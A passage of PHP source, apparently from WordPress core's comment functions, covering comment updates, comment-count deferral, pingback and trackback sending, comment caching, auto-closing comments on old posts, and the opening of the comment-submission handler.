 * @since 4.9.0 Add updating comment meta during comment update.
 * @since 5.5.0 The `$wp_error` parameter was added.
 * @since 5.5.0 The return values for an invalid comment or post ID
 *              were changed to false instead of 0.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $commentarr Contains information on the comment.
 * @param bool  $wp_error   Optional. Whether to return a WP_Error on failure. Default false.
 * @return int|false|WP_Error The value 1 if the comment was updated, 0 if not updated.
 *                            False or a WP_Error object on failure.
 */
function wp_update_comment( $commentarr, $wp_error = false ) {
	global $wpdb;

	// First, get all of the original fields.
	$comment = get_comment( $commentarr['comment_ID'], ARRAY_A );

	if ( empty( $comment ) ) {
		if ( $wp_error ) {
			return new WP_Error( 'invalid_comment_id', __( 'Invalid comment ID.' ) );
		} else {
			return false;
		}
	}

	// Make sure that the comment post ID is valid (if specified).
	if ( ! empty( $commentarr['comment_post_ID'] ) && ! get_post( $commentarr['comment_post_ID'] ) ) {
		if ( $wp_error ) {
			return new WP_Error( 'invalid_post_id', __( 'Invalid post ID.' ) );
		} else {
			return false;
		}
	}

	$filter_comment = false;
	if ( ! has_filter( 'pre_comment_content', 'wp_filter_kses' ) ) {
		$filter_comment = ! user_can( isset( $comment['user_id'] ) ? $comment['user_id'] : 0, 'unfiltered_html' );
	}

	if ( $filter_comment ) {
		add_filter( 'pre_comment_content', 'wp_filter_kses' );
	}

	// Escape data pulled from DB.
	$comment = wp_slash( $comment );

	$old_status = $comment['comment_approved'];

	// Merge old and new fields with new fields overwriting old ones.
	$commentarr = array_merge( $comment, $commentarr );

	$commentarr = wp_filter_comment( $commentarr );

	if ( $filter_comment ) {
		remove_filter( 'pre_comment_content', 'wp_filter_kses' );
	}

	// Now extract the merged array.
	$data = wp_unslash( $commentarr );

	/**
	 * Filters the comment content before it is updated in the database.
	 *
	 * @since 1.5.0
	 *
	 * @param string $comment_content The comment data.
	 */
	$data['comment_content'] = apply_filters( 'comment_save_pre', $data['comment_content'] );

	$data['comment_date_gmt'] = get_gmt_from_date( $data['comment_date'] );

	if ( ! isset( $data['comment_approved'] ) ) {
		$data['comment_approved'] = 1;
	} elseif ( 'hold' === $data['comment_approved'] ) {
		$data['comment_approved'] = 0;
	} elseif ( 'approve' === $data['comment_approved'] ) {
		$data['comment_approved'] = 1;
	}

	$comment_id      = $data['comment_ID'];
	$comment_post_id = $data['comment_post_ID'];

	/**
	 * Filters the comment data immediately before it is updated in the database.
	 *
	 * Note: data being passed to the filter is already unslashed.
	 *
	 * @since 4.7.0
	 * @since 5.5.0 Returning a WP_Error value from the filter will short-circuit comment update
	 *              and allow skipping further processing.
	 *
	 * @param array|WP_Error $data       The new, processed comment data, or WP_Error.
	 * @param array          $comment    The old, unslashed comment data.
	 * @param array          $commentarr The new, raw comment data.
	 */
	$data = apply_filters( 'wp_update_comment_data', $data, $comment, $commentarr );

	// Do not carry on on failure.
	if ( is_wp_error( $data ) ) {
		if ( $wp_error ) {
			return $data;
		} else {
			return false;
		}
	}

	$keys = array(
		'comment_post_ID',
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_author_IP',
		'comment_date',
		'comment_date_gmt',
		'comment_content',
		'comment_karma',
		'comment_approved',
		'comment_agent',
		'comment_type',
		'comment_parent',
		'user_id',
	);

	$data = wp_array_slice_assoc( $data, $keys );

	$result = $wpdb->update( $wpdb->comments, $data, array( 'comment_ID' => $comment_id ) );

	if ( false === $result ) {
		if ( $wp_error ) {
			return new WP_Error( 'db_update_error', __( 'Could not update comment in the database.' ), $wpdb->last_error );
		} else {
			return false;
		}
	}

	// If metadata is provided, store it.
	if ( isset( $commentarr['comment_meta'] ) && is_array( $commentarr['comment_meta'] ) ) {
		foreach ( $commentarr['comment_meta'] as $meta_key => $meta_value ) {
			update_comment_meta( $comment_id, $meta_key, $meta_value );
		}
	}

	clean_comment_cache( $comment_id );
	wp_update_comment_count( $comment_post_id );

	/**
	 * Fires immediately after a comment is updated in the database.
	 *
	 * The hook also fires immediately before comment status transition hooks are fired.
	 *
	 * @since 1.2.0
	 * @since 4.6.0 Added the `$data` parameter.
	 *
	 * @param int   $comment_id The comment ID.
	 * @param array $data       Comment data.
	 */
	do_action( 'edit_comment', $comment_id, $data );

	$comment = get_comment( $comment_id );

	wp_transition_comment_status( $comment->comment_approved, $old_status, $comment );

	return $result;
}

/**
 * Determines whether to defer comment counting.
 *
 * When setting $defer to true, all post comment counts will not be updated
 * until $defer is set to false. When $defer is set to false, then all
 * previously deferred updated post comment counts will then be automatically
 * updated without having to call wp_update_comment_count() after.
 *
 * @since 2.5.0
 *
 * @param bool $defer
 * @return bool
 */
function wp_defer_comment_counting( $defer = null ) {
	static $_defer = false;

	if ( is_bool( $defer ) ) {
		$_defer = $defer;
		// Flush any deferred counts.
		if ( ! $defer ) {
			wp_update_comment_count( null, true );
		}
	}

	return $_defer;
}

/**
 * Updates the comment count for post(s).
 *
 * When $do_deferred is false (is by default) and the comments have been set to
 * be deferred, the post_id will be added to a queue, which will be updated at a
 * later date and only updated once per post ID.
 *
 * If the comments have not be set up to be deferred, then the post will be
 * updated. When $do_deferred is set to true, then all previous deferred post
 * IDs will be updated along with the current $post_id.
 *
 * @since 2.1.0
 *
 * @see wp_update_comment_count_now() For what could cause a false return value
 *
 * @param int|null $post_id     Post ID.
 * @param bool     $do_deferred Optional. Whether to process previously deferred
 *                              post comment counts. Default false.
 * @return bool|void True on success, false on failure or if post with ID does
 *                   not exist.
 */
function wp_update_comment_count( $post_id, $do_deferred = false ) {
	static $_deferred = array();

	if ( empty( $post_id ) && ! $do_deferred ) {
		return false;
	}

	if ( $do_deferred ) {
		$_deferred = array_unique( $_deferred );
		foreach ( $_deferred as $i => $_post_id ) {
			wp_update_comment_count_now( $_post_id );
			unset( $_deferred[ $i ] );
			/** @todo Move this outside of the foreach and reset $_deferred to an array instead */
		}
	}

	if ( wp_defer_comment_counting() ) {
		$_deferred[] = $post_id;
		return true;
	} elseif ( $post_id ) {
		return wp_update_comment_count_now( $post_id );
	}
}

/**
 * Updates the comment count for the post.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $post_id Post ID
 * @return bool True on success, false if the post does not exist.
 */
function wp_update_comment_count_now( $post_id ) {
	global $wpdb;

	$post_id = (int) $post_id;

	if ( ! $post_id ) {
		return false;
	}

	wp_cache_delete( 'comments-0', 'counts' );
	wp_cache_delete( "comments-{$post_id}", 'counts' );

	$post = get_post( $post_id );

	if ( ! $post ) {
		return false;
	}

	$old = (int) $post->comment_count;

	/**
	 * Filters a post's comment count before it is updated in the database.
	 *
	 * @since 4.5.0
	 *
	 * @param int|null $new     The new comment count. Default null.
	 * @param int      $old     The old comment count.
	 * @param int      $post_id Post ID.
	 */
	$new = apply_filters( 'pre_wp_update_comment_count_now', null, $old, $post_id );

	if ( is_null( $new ) ) {
		$new = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id ) );
	} else {
		$new = (int) $new;
	}

	$wpdb->update( $wpdb->posts, array( 'comment_count' => $new ), array( 'ID' => $post_id ) );

	clean_post_cache( $post );

	/**
	 * Fires immediately after a post's comment count is updated in the database.
	 *
	 * @since 2.3.0
	 *
	 * @param int $post_id Post ID.
	 * @param int $new     The new comment count.
	 * @param int $old     The old comment count.
	 */
	do_action( 'wp_update_comment_count', $post_id, $new, $old );

	/** This action is documented in wp-includes/post.php */
	do_action( "edit_post_{$post->post_type}", $post_id, $post );

	/** This action is documented in wp-includes/post.php */
	do_action( 'edit_post', $post_id, $post );

	return true;
}

//
// Ping and trackback functions.
//

/**
 * Finds a pingback server URI based on the given URL.
 *
 * Checks the HTML for the rel="pingback" link and X-Pingback headers. It does
 * a check for the X-Pingback headers first and returns that, if available.
 * The check for the rel="pingback" has more overhead than just the header.
 *
 * @since 1.5.0
 *
 * @param string $url        URL to ping.
 * @param string $deprecated Not Used.
 * @return string|false String containing URI on success, false on failure.
 */
function discover_pingback_server_uri( $url, $deprecated = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.7.0' );
	}

	$pingback_str_dquote = 'rel="pingback"';
	$pingback_str_squote = 'rel=\'pingback\'';

	/** @todo Should use Filter Extension or custom preg_match instead. */
	$parsed_url = parse_url( $url );

	if ( ! isset( $parsed_url['host'] ) ) { // Not a URL. This should never happen.
		return false;
	}

	// Do not search for a pingback server on our own uploads.
	$uploads_dir = wp_get_upload_dir();
	if ( str_starts_with( $url, $uploads_dir['baseurl'] ) ) {
		return false;
	}

	$response = wp_safe_remote_head(
		$url,
		array(
			'timeout'     => 2,
			'httpversion' => '1.0',
		)
	);

	if ( is_wp_error( $response ) ) {
		return false;
	}

	if ( wp_remote_retrieve_header( $response, 'X-Pingback' ) ) {
		return wp_remote_retrieve_header( $response, 'X-Pingback' );
	}

	// Not an (x)html, sgml, or xml page, no use going further.
	if ( preg_match( '#(image|audio|video|model)/#is', wp_remote_retrieve_header( $response, 'Content-Type' ) ) ) {
		return false;
	}

	// Now do a GET since we're going to look in the HTML headers (and we're sure it's not a binary file).
	$response = wp_safe_remote_get(
		$url,
		array(
			'timeout'     => 2,
			'httpversion' => '1.0',
		)
	);

	if ( is_wp_error( $response ) ) {
		return false;
	}

	$contents = wp_remote_retrieve_body( $response );

	$pingback_link_offset_dquote = strpos( $contents, $pingback_str_dquote );
	$pingback_link_offset_squote = strpos( $contents, $pingback_str_squote );
	if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) {
		$quote                   = ( $pingback_link_offset_dquote ) ? '"' : '\'';
		$pingback_link_offset    = ( '"' === $quote ) ? $pingback_link_offset_dquote : $pingback_link_offset_squote;
		$pingback_href_pos       = strpos( $contents, 'href=', $pingback_link_offset );
		$pingback_href_start     = $pingback_href_pos + 6;
		$pingback_href_end       = strpos( $contents, $quote, $pingback_href_start );
		$pingback_server_url_len = $pingback_href_end - $pingback_href_start;
		$pingback_server_url     = substr( $contents, $pingback_href_start, $pingback_server_url_len );

		// We may find rel="pingback" but an incomplete pingback URL.
		if ( $pingback_server_url_len > 0 ) { // We got it!
			return $pingback_server_url;
		}
	}

	return false;
}

/**
 * Performs all pingbacks, enclosures, trackbacks, and sends to pingback services.
 *
 * @since 2.1.0
 * @since 5.6.0 Introduced `do_all_pings` action hook for individual services.
 */
function do_all_pings() {
	/**
	 * Fires immediately after the `do_pings` event to hook services individually.
	 *
	 * @since 5.6.0
	 */
	do_action( 'do_all_pings' );
}

/**
 * Performs all pingbacks.
 *
 * @since 5.6.0
 */
function do_all_pingbacks() {
	$pings = get_posts(
		array(
			'post_type'        => get_post_types(),
			'suppress_filters' => false,
			'nopaging'         => true,
			'meta_key'         => '_pingme',
			'fields'           => 'ids',
		)
	);

	foreach ( $pings as $ping ) {
		delete_post_meta( $ping, '_pingme' );
		pingback( null, $ping );
	}
}

/**
 * Performs all enclosures.
 *
 * @since 5.6.0
 */
function do_all_enclosures() {
	$enclosures = get_posts(
		array(
			'post_type'        => get_post_types(),
			'suppress_filters' => false,
			'nopaging'         => true,
			'meta_key'         => '_encloseme',
			'fields'           => 'ids',
		)
	);

	foreach ( $enclosures as $enclosure ) {
		delete_post_meta( $enclosure, '_encloseme' );
		do_enclose( null, $enclosure );
	}
}

/**
 * Performs all trackbacks.
 *
 * @since 5.6.0
 */
function do_all_trackbacks() {
	$trackbacks = get_posts(
		array(
			'post_type'        => get_post_types(),
			'suppress_filters' => false,
			'nopaging'         => true,
			'meta_key'         => '_trackbackme',
			'fields'           => 'ids',
		)
	);

	foreach ( $trackbacks as $trackback ) {
		delete_post_meta( $trackback, '_trackbackme' );
		do_trackbacks( $trackback );
	}
}

/**
 * Performs trackbacks.
 *
 * @since 1.5.0
 * @since 4.7.0 `$post` can be a WP_Post object.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Post $post Post ID or object to do trackbacks on.
 * @return void|false Returns false on failure.
 */
function do_trackbacks( $post ) {
	global $wpdb;

	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	$to_ping = get_to_ping( $post );
	$pinged  = get_pung( $post );

	if ( empty( $to_ping ) ) {
		$wpdb->update( $wpdb->posts, array( 'to_ping' => '' ), array( 'ID' => $post->ID ) );
		return;
	}

	if ( empty( $post->post_excerpt ) ) {
		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_content', $post->post_content, $post->ID );
	} else {
		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_excerpt', $post->post_excerpt );
	}

	$excerpt = str_replace( ']]>', ']]&gt;', $excerpt );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	/** This filter is documented in wp-includes/post-template.php */
	$post_title = apply_filters( 'the_title', $post->post_title, $post->ID );
	$post_title = strip_tags( $post_title );

	if ( $to_ping ) {
		foreach ( (array) $to_ping as $tb_ping ) {
			$tb_ping = trim( $tb_ping );
			if ( ! in_array( $tb_ping, $pinged, true ) ) {
				trackback( $tb_ping, $post_title, $excerpt, $post->ID );
				$pinged[] = $tb_ping;
			} else {
				$wpdb->query(
					$wpdb->prepare(
						"UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s,
					'')) WHERE ID = %d",
						$tb_ping,
						$post->ID
					)
				);
			}
		}
	}
}

/**
 * Sends pings to all of the ping site services.
 *
 * @since 1.2.0
 *
 * @param int $post_id Post ID.
 * @return int Same post ID as provided.
 */
function generic_ping( $post_id = 0 ) {
	$services = get_option( 'ping_sites' );

	$services = explode( "\n", $services );
	foreach ( (array) $services as $service ) {
		$service = trim( $service );
		if ( '' !== $service ) {
			weblog_ping( $service );
		}
	}

	return $post_id;
}

/**
 * Pings back the links found in a post.
 *
 * @since 0.71
 * @since 4.7.0 `$post` can be a WP_Post object.
 *
 * @param string      $content Post content to check for links. If empty will retrieve from post.
 * @param int|WP_Post $post    Post ID or object.
 */
function pingback( $content, $post ) {
	require_once ABSPATH . WPINC . '/class-IXR.php';
	require_once ABSPATH . WPINC . '/class-wp-http-ixr-client.php';

	// Original code by Mort (http://mort.mine.nu:8080).
	$post_links = array();

	$post = get_post( $post );

	if ( ! $post ) {
		return;
	}

	$pung = get_pung( $post );

	if ( empty( $content ) ) {
		$content = $post->post_content;
	}

	/*
	 * Step 1.
	 * Parsing the post, external links (if any) are stored in the $post_links array.
	 */
	$post_links_temp = wp_extract_urls( $content );

	/*
	 * Step 2.
	 * Walking through the links array.
	 * First we get rid of links pointing to sites, not to specific files.
	 * Example:
	 * http://dummy-weblog.org
	 * http://dummy-weblog.org/
	 * http://dummy-weblog.org/post.php
	 * We don't wanna ping first and second types, even if they have a valid <link/>.
	 */
	foreach ( (array) $post_links_temp as $link_test ) {
		// If we haven't pung it already and it isn't a link to itself.
		if ( ! in_array( $link_test, $pung, true ) && ( url_to_postid( $link_test ) != $post->ID )
			// Also, let's never ping local attachments.
			&& ! is_local_attachment( $link_test )
		) {
			$test = parse_url( $link_test );
			if ( $test ) {
				if ( isset( $test['query'] ) ) {
					$post_links[] = $link_test;
				} elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) {
					$post_links[] = $link_test;
				}
			}
		}
	}

	$post_links = array_unique( $post_links );

	/**
	 * Fires just before pinging back links found in a post.
	 *
	 * @since 2.0.0
	 *
	 * @param string[] $post_links Array of link URLs to be checked (passed by reference).
	 * @param string[] $pung       Array of link URLs already pinged (passed by reference).
	 * @param int      $post_id    The post ID.
	 */
	do_action_ref_array( 'pre_ping', array( &$post_links, &$pung, $post->ID ) );

	foreach ( (array) $post_links as $pagelinkedto ) {
		$pingback_server_url = discover_pingback_server_uri( $pagelinkedto );

		if ( $pingback_server_url ) {
			if ( function_exists( 'set_time_limit' ) ) {
				set_time_limit( 60 );
			}

			// Now, the RPC call.
			$pagelinkedfrom = get_permalink( $post );

			// Using a timeout of 3 seconds should be enough to cover slow servers.
			$client          = new WP_HTTP_IXR_Client( $pingback_server_url );
			$client->timeout = 3;
			/**
			 * Filters the user agent sent when pinging-back a URL.
			 *
			 * @since 2.9.0
			 *
			 * @param string $concat_useragent    The user agent concatenated with ' -- WordPress/'
			 *                                    and the WordPress version.
			 * @param string $useragent           The useragent.
			 * @param string $pingback_server_url The server URL being linked to.
			 * @param string $pagelinkedto        URL of page linked to.
			 * @param string $pagelinkedfrom      URL of page linked from.
			 */
			$client->useragent = apply_filters( 'pingback_useragent', $client->useragent . ' -- WordPress/' . get_bloginfo( 'version' ), $client->useragent, $pingback_server_url, $pagelinkedto, $pagelinkedfrom );
			// When set to true, this outputs debug messages by itself.
			$client->debug = false;

			if ( $client->query( 'pingback.ping', $pagelinkedfrom, $pagelinkedto ) || ( isset( $client->error->code ) && 48 == $client->error->code ) ) { // Already registered.
				add_ping( $post, $pagelinkedto );
			}
		}
	}
}

/**
 * Checks whether blog is public before returning sites.
 *
 * @since 2.1.0
 *
 * @param mixed $sites Will return if blog is public, will not return if not public.
 * @return mixed Empty string if blog is not public, returns $sites, if site is public.
 */
function privacy_ping_filter( $sites ) {
	if ( '0' != get_option( 'blog_public' ) ) {
		return $sites;
	} else {
		return '';
	}
}

/**
 * Sends a Trackback.
 *
 * Updates database when sending trackback to prevent duplicates.
 *
 * @since 0.71
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $trackback_url URL to send trackbacks.
 * @param string $title         Title of post.
 * @param string $excerpt       Excerpt of post.
 * @param int    $post_id       Post ID.
 * @return int|false|void Database query from update.
 */
function trackback( $trackback_url, $title, $excerpt, $post_id ) {
	global $wpdb;

	if ( empty( $trackback_url ) ) {
		return;
	}

	$options            = array();
	$options['timeout'] = 10;
	$options['body']    = array(
		'title'     => $title,
		'url'       => get_permalink( $post_id ),
		'blog_name' => get_option( 'blogname' ),
		'excerpt'   => $excerpt,
	);

	$response = wp_safe_remote_post( $trackback_url, $options );

	if ( is_wp_error( $response ) ) {
		return;
	}

	$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', %s) WHERE ID = %d", $trackback_url, $post_id ) );
	return $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $trackback_url, $post_id ) );
}

/**
 * Sends a pingback.
 *
 * @since 1.2.0
 *
 * @param string $server Host of blog to connect to.
 * @param string $path Path to send the ping.
 */
function weblog_ping( $server = '', $path = '' ) {
	require_once ABSPATH . WPINC . '/class-IXR.php';
	require_once ABSPATH . WPINC . '/class-wp-http-ixr-client.php';

	// Using a timeout of 3 seconds should be enough to cover slow servers.
	$client             = new WP_HTTP_IXR_Client( $server, ( ( ! strlen( trim( $path ) ) || ( '/' === $path ) ) ? false : $path ) );
	$client->timeout    = 3;
	$client->useragent .= ' -- WordPress/' . get_bloginfo( 'version' );

	// When set to true, this outputs debug messages by itself.
	$client->debug = false;
	$home          = trailingslashit( home_url() );
	if ( ! $client->query( 'weblogUpdates.extendedPing', get_option( 'blogname' ), $home, get_bloginfo( 'rss2_url' ) ) ) { // Then try a normal ping.
		$client->query( 'weblogUpdates.ping', get_option( 'blogname' ), $home );
	}
}

/**
 * Default filter attached to pingback_ping_source_uri to validate the pingback's Source URI.
 *
 * @since 3.5.1
 *
 * @see wp_http_validate_url()
 *
 * @param string $source_uri
 * @return string
 */
function pingback_ping_source_uri( $source_uri ) {
	return (string) wp_http_validate_url( $source_uri );
}

/**
 * Default filter attached to xmlrpc_pingback_error.
 *
 * Returns a generic pingback error code unless the error code is 48,
 * which reports that the pingback is already registered.
 *
 * @since 3.5.1
 *
 * @link https://www.hixie.ch/specs/pingback/pingback#TOC3
 *
 * @param IXR_Error $ixr_error
 * @return IXR_Error
 */
function xmlrpc_pingback_error( $ixr_error ) {
	if ( 48 === $ixr_error->code ) {
		return $ixr_error;
	}
	return new IXR_Error( 0, '' );
}

//
// Cache.
//

/**
 * Removes a comment from the object cache.
 *
 * @since 2.3.0
 *
 * @param int|array $ids Comment ID or an array of comment IDs to remove from cache.
 */
function clean_comment_cache( $ids ) {
	$comment_ids = (array) $ids;
	wp_cache_delete_multiple( $comment_ids, 'comment' );
	foreach ( $comment_ids as $id ) {
		/**
		 * Fires immediately after a comment has been removed from the object cache.
		 *
		 * @since 4.5.0
		 *
		 * @param int $id Comment ID.
		 */
		do_action( 'clean_comment_cache', $id );
	}

	wp_cache_set_comments_last_changed();
}

/**
 * Updates the comment cache of given comments.
 *
 * Will add the comments in $comments to the cache. If comment ID already exists
 * in the comment cache then it will not be updated. The comment is added to the
 * cache using the comment group with the key using the ID of the comments.
 *
 * @since 2.3.0
 * @since 4.4.0 Introduced the `$update_meta_cache` parameter.
 *
 * @param WP_Comment[] $comments          Array of comment objects
 * @param bool         $update_meta_cache Whether to update commentmeta cache. Default true.
 */
function update_comment_cache( $comments, $update_meta_cache = true ) {
	$data = array();
	foreach ( (array) $comments as $comment ) {
		$data[ $comment->comment_ID ] = $comment;
	}
	wp_cache_add_multiple( $data, 'comment' );

	if ( $update_meta_cache ) {
		// Avoid `wp_list_pluck()` in case `$comments` is passed by reference.
		$comment_ids = array();
		foreach ( $comments as $comment ) {
			$comment_ids[] = $comment->comment_ID;
		}
		update_meta_cache( 'comment', $comment_ids );
	}
}

/**
 * Adds any comments from the given IDs to the cache that do not already exist in cache.
 *
 * @since 4.4.0
 * @since 6.1.0 This function is no longer marked as "private".
 * @since 6.3.0 Use wp_lazyload_comment_meta() for lazy-loading of comment meta.
 *
 * @see update_comment_cache()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int[] $comment_ids       Array of comment IDs.
 * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
 */
function _prime_comment_caches( $comment_ids, $update_meta_cache = true ) {
	global $wpdb;

	$non_cached_ids = _get_non_cached_ids( $comment_ids, 'comment' );
	if ( ! empty( $non_cached_ids ) ) {
		$fresh_comments = $wpdb->get_results( sprintf( "SELECT $wpdb->comments.* FROM $wpdb->comments WHERE comment_ID IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) );

		update_comment_cache( $fresh_comments, false );
	}

	if ( $update_meta_cache ) {
		wp_lazyload_comment_meta( $comment_ids );
	}
}

//
// Internal.
//

/**
 * Closes comments on old posts on the fly, without any extra DB queries. Hooked to the_posts.
 *
 * @since 2.7.0
 * @access private
 *
 * @param WP_Post  $posts Post data object.
 * @param WP_Query $query Query object.
 * @return array
 */
function _close_comments_for_old_posts( $posts, $query ) {
	if ( empty( $posts ) || ! $query->is_singular() || ! get_option( 'close_comments_for_old_posts' ) ) {
		return $posts;
	}

	/**
	 * Filters the list of post types to automatically close comments for.
	 *
	 * @since 3.2.0
	 *
	 * @param string[] $post_types An array of post type names.
	 */
	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
	if ( ! in_array( $posts[0]->post_type, $post_types, true ) ) {
		return $posts;
	}

	$days_old = (int) get_option( 'close_comments_days_old' );
	if ( ! $days_old ) {
		return $posts;
	}

	if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) {
		$posts[0]->comment_status = 'closed';
		$posts[0]->ping_status    = 'closed';
	}

	return $posts;
}

/**
 * Closes comments on an old post. Hooked to comments_open and pings_open.
 *
 * @since 2.7.0
 * @access private
 *
 * @param bool $open    Comments open or closed.
 * @param int  $post_id Post ID.
 * @return bool $open
 */
function _close_comments_for_old_post( $open, $post_id ) {
	if ( ! $open ) {
		return $open;
	}

	if ( ! get_option( 'close_comments_for_old_posts' ) ) {
		return $open;
	}

	$days_old = (int) get_option( 'close_comments_days_old' );
	if ( ! $days_old ) {
		return $open;
	}

	$post = get_post( $post_id );

	/** This filter is documented in wp-includes/comment.php */
	$post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) );
	if ( ! in_array( $post->post_type, $post_types, true ) ) {
		return $open;
	}

	// Undated drafts should not show up as comments closed.
	if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
		return $open;
	}

	if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) {
		return false;
	}

	return $open;
}

/**
 * Handles the submission of a comment, usually posted to wp-comments-post.php via a comment form.
 *
 * This function expects unslashed data, as opposed to functions such as `wp_new_comment()` which
 * expect slashed data.
 *
 * @since 4.4.0
 *
 * @param array $comment_data {
 *     Comment data.
 *
 *     @type string|int $comment_post_ID             The ID of the post that relates to the comment.
 *     @type string     $author                      The name of the comment author.
 *     @type string     $email                       The comment author email address.
 *     @type string     $url                         The comment author URL.
 *     @type string     $comment                     The content of the comment.
 *     @type string|int $comment_parent              The ID of this comment's parent, if any. Default 0.
 *     @type string     $_wp_unfiltered_html_comment The nonce value for allowing unfiltered HTML.
 * }
 * @return WP_Comment|WP_Error A WP_Comment object on success, a WP_Error object on failure.
 */
function wp_handle_comment_submission( $comment_data ) {
	$comment_post_id      = 0;
	$comment_author       = '';
	$comment_author_email = '';
	$comment_author_url   = '';
	$comment_content      = '';
	$comment_parent       = 0;
	$user_id              = 0;

	if ( isset( $comment_data['comment_post_ID'] ) ) {
		$comment_post_id = (int) $comment_data['comment_post_ID'];
	}
	if ( isset( $comment_data['author'] ) && is_string( $comment_data['author'] ) ) {
		$comment_author = trim( strip_tags( $comment_data['author'] ) );
	}
	if ( isset( $comment_data['email'] ) && is_string( $comment_data['email'] ) ) {
		$comment_author_email = trim( $comment_data['email'] );
	}
	if ( isset( $comment_data['url'] ) && is_string( $comment_data['url'] ) ) {
		$comment_author_url = trim( $comment_data['url'] );
	}
	if ( isset( $comment_data['comment'] ) && is_string( $comment_data['comment'] ) ) {
		$comment_content = trim( $comment_data['comment'] );
	}
	if ( isset( $comment_data['comment_parent'] ) ) {
		$comment_parent        = absint( $comment_data['comment_parent'] );
		$comment_parent_object = get_comment( $comment_parent );

		if (
			0 !== $comment_parent &&
			(
				! $comment_parent_object instanceof WP_Comment ||
				0 === (int) $comment_parent_object->comment_approved
			)
		) {
			/**
			 * Fires when a comment reply is attempted to an unapproved comment.
			 *
			 * @since 6.2.0
			 *
			 * @param int $comment_post_id Post ID.
			 * @param int $comment_parent  Parent comment ID.
			 */
			do_action( 'comment_reply_to_unapproved_comment', $comment_post_id, $comment_parent );

			return new WP_Error( 'comment_reply_to_unapproved_comment', __( 'Sorry, replies to unapproved comments are not allowed.' ), 403 );
		}
	}

	$post = get_post( $comment_post_id );

	if ( empty( $post->comment_status ) ) {

		/**
		 * Fires when a comment is attempted on a post that does not exist.
		 *
		 * @since 1.5.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_id_not_found', $comment_post_id );

		return new WP_Error( 'comment_id_not_found' );

	}

	// get_post_status() will get the parent status for attachments.
	$status = get_post_status( $post );

	if ( ( 'private' === $status ) && ! current_user_can( 'read_post', $comment_post_id ) ) {
		return new WP_Error( 'comment_id_not_found' );
	}

	$status_obj = get_post_status_object( $status );

	if ( ! comments_open( $comment_post_id ) ) {

		/**
		 * Fires when a comment is attempted on a post that has comments closed.
		 *
		 * @since 1.5.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_closed', $comment_post_id );

		return new WP_Error( 'comment_closed', __( 'Sorry, comments are closed for this item.' ), 403 );

	} elseif ( 'trash' === $status ) {

		/**
		 * Fires when a comment is attempted on a trashed post.
		 *
		 * @since 2.9.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_on_trash', $comment_post_id );

		return new WP_Error( 'comment_on_trash' );

	} elseif ( ! $status_obj->public && ! $status_obj->private ) {

		/**
		 * Fires when a comment is attempted on a post in draft mode.
		 *
		 * @since 1.5.1
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_on_draft', $comment_post_id );

		if ( current_user_can( 'read_post', $comment_post_id ) ) {
			return new WP_Error( 'comment_on_draft', __( 'Sorry, comments are not allowed for this item.' ), 403 );
		} else {
			return new WP_Error( 'comment_on_draft' );
		}
	} elseif ( post_password_required( $comment_post_id ) ) {

		/**
		 * Fires when a comment is attempted on a password-protected post.
		 *
		 * @since 2.9.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'comment_on_password_protected', $comment_post_id );

		return new WP_Error( 'comment_on_password_protected' );

	} else {
		/**
		 * Fires before a comment is posted.
		 *
		 * @since 2.8.0
		 *
		 * @param int $comment_post_id Post ID.
		 */
		do_action( 'pre_comment_on_post', $comment_post_id );
	}

	// If the user is logged in.
	$user = wp_get_current_user();
	if ( $user->exists() ) {
		if ( empty( $user->display_name ) ) {
			$user->display_name = $user->user_login;
		}

		$comment_author       = $user->display_name;
		$comment_author_email = $user->user_email;
		$comment_author_url   = $user->user_url;
		$user_id              = $user->ID;

		if ( current_user_can( 'unfiltered_html' ) ) {
			if ( ! isset( $comment_data['_wp_unfiltered_html_comment'] )
				|| ! wp_verify_nonce( $comment_data['_wp_unfiltered_html_comment'], 'unfiltered-html-comment_' . $comment_post_id )
			) {
				kses_remove_filters(); // Start with a clean slate.
				kses_init_filters();   // Set up the filters.
				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
				add_filter( 'pre_comment_content', 'wp_filter_kses' );
			}
		}
	} else {
		if ( get_option( 'comment_registration' ) ) {
			return new WP_Error( 'not_logged_in', __( 'Sorry, you must be logged in to comment.' ), 403 );
		}
	}

	$comment_type = 'comment';

	if ( get_option( 'require_name_email' ) && ! $user->exists() ) {
		if ( '' == $comment_author_email || '' == $comment_author ) {
			return new WP_Error( 'require_name_email', __( '<strong>Error:</strong> Please fill the required fields.' ), 200 );
